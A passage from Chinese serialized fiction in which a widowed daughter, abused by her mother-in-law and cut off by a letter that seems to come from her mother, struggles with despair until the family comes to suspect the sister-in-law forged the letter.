信上面的名字是她妈的，信里清清楚楚的写着，她已经是嫁出去的女儿了，就要好好在婆家待着，也不要想着回来了，死了丈夫的女儿回来，父母会因为她抬不起头的。 看了那封信后，她大受打击。 那是她第一次产生了不想活下去的念头，她在想为啥当初在山上出意外死的那个人不是她，而是她的丈夫。 起码她的丈夫还有他的母亲需要他，而她在这个世界上却已经是没人在意了。 但是她还是不愿意就这样认命了，她读了十几年的书，书里有很多人物都有着比她更加悲惨的命运，他们都没有屈服。 她又怎么会做胆小鬼呢？ 为了能活下去，她一个人干两亩的地，另外两亩地她把给便宜租了出去，只要收成分她三成就成。 她撇开那些不好的想法，拼命的干着农活，以求来麻木自己。 身体的极限那道难关好不容易熬过去了，精神上的难关她实在没法天天忍受。 每天当她拖着疲惫的身子回到家里的时候，她的婆婆就会找各种的理由来打骂她，时间一长，不想活下去的心思又产生出来了，并且随着时间的增长不停的加剧。 “老二，从小你就是咱们家里最聪明的，你确定那是妈的笔迹？” 徐本英没做过的事儿，她绝不承认，虽然她以前是很重男轻女，没把两个女儿的事儿放在心上，但绝对不会写这样的信给自己的女儿，让她在绝境中孤立无援。 方茹经过她妈这么一提醒，倒是觉得有些不对劲涌上心头，那字的确不太像是她妈的笔迹。 倒像是......她大嫂的？